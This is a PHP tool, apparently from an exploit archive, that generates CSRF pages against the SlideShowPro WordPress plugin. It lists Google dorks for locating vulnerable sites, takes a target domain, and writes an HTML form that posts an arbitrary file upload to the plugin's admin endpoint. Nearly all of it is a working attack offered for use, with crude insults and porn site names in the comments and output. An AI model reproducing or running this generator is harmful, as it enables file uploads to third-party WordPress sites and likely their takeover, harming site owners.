WP Slideshowpro plugin CSRF Maker

<?
//Spade here :o
//CSRF x SlideShowPro | Wordpress Plugin
//For more info >> https://cxsecurity.com/issue/WLB-2017010034
//beeg.com - youjizz.com - pornhub.com -torjackan.info and many more
ini_set('error_reporting',0);
    if(!isset($_POST['website'])){
        ?>
        <center>
            <p1>Spade | CSRF Maker Shit </p1><br>
            <p1>Feat. Wordpress Plugin:: slideshowpro</p1><br>
            <p1>P R E S E N T S</p1><br>
            <h1>Arbituary File Upload (Shit)!</h1><br><hr>
            Dorks::
            <br>
                <a href='https://www.google.com.ph/search?q=inurl%3A%2Fwp-content%2Fplugin%2Fslide-show-pro%2F' target='_blank' >Dork 1</a>
            <br>
                <a href='https://www.google.com.ph/search?q=inurl%3Aplugin%2Fslide-show-pro%2F' target='_blank' >Dork 2</a>
            <br>
                <a href='https://www.google.com.ph/search?q=inurl%3A%2Fwp-content%2Fuploads%2Fslideshowpro%2F' target='_blank' >Dork 3</a>
            <form action='' method='POST' autocomplete="off">
                <input type='text' name='website' placeholder='e.g.: example.com' maxlength="15" />
                <input type='submit' value='>>' />
            </form>
        </center>
        <?
    }else{
        $website = filter_var(htmlspecialchars($_POST['website']), FILTER_SANITIZE_STRING);
        mkdir('.~Spade_CSRF', 0777);
        chdir('.~Spade_CSRF');
        $file = fopen($website.'.html', 'w');
        $html = "
            <html>
                <body>
                    <center>
                    <h1>\m/ SlideShowPro CSRF \m/</h1>
                    <form action='http://".$website."/wp-admin/admin.php?page=slideshowpro_manage' method='POST' enctype='multipart/form-data'>
                    <input type='hidden' name='task' value='pro_add_new_album' />
                    <input type='hidden' name='album_name' value='Spade Album' />
                    <input type='hidden' name='album_desc' value='Arbituary File Upload' />
                    <input type='file' name='album_img' />
                    <input type='submit' value='Submit' />
                    </center>
                </body>
            </html>
        ";
        $write = fwrite($file, $html);
        if(!$write){
            echo "<center>An Error Occured While Creating CSRF Files!</center>";
        }else{
            echo "<center><a href='.~Spade_CSRF/".$website.".html'>There You Go Asshole[Click Me Idiot!].</a></center>";
        }
        fclose($file);
    }

?>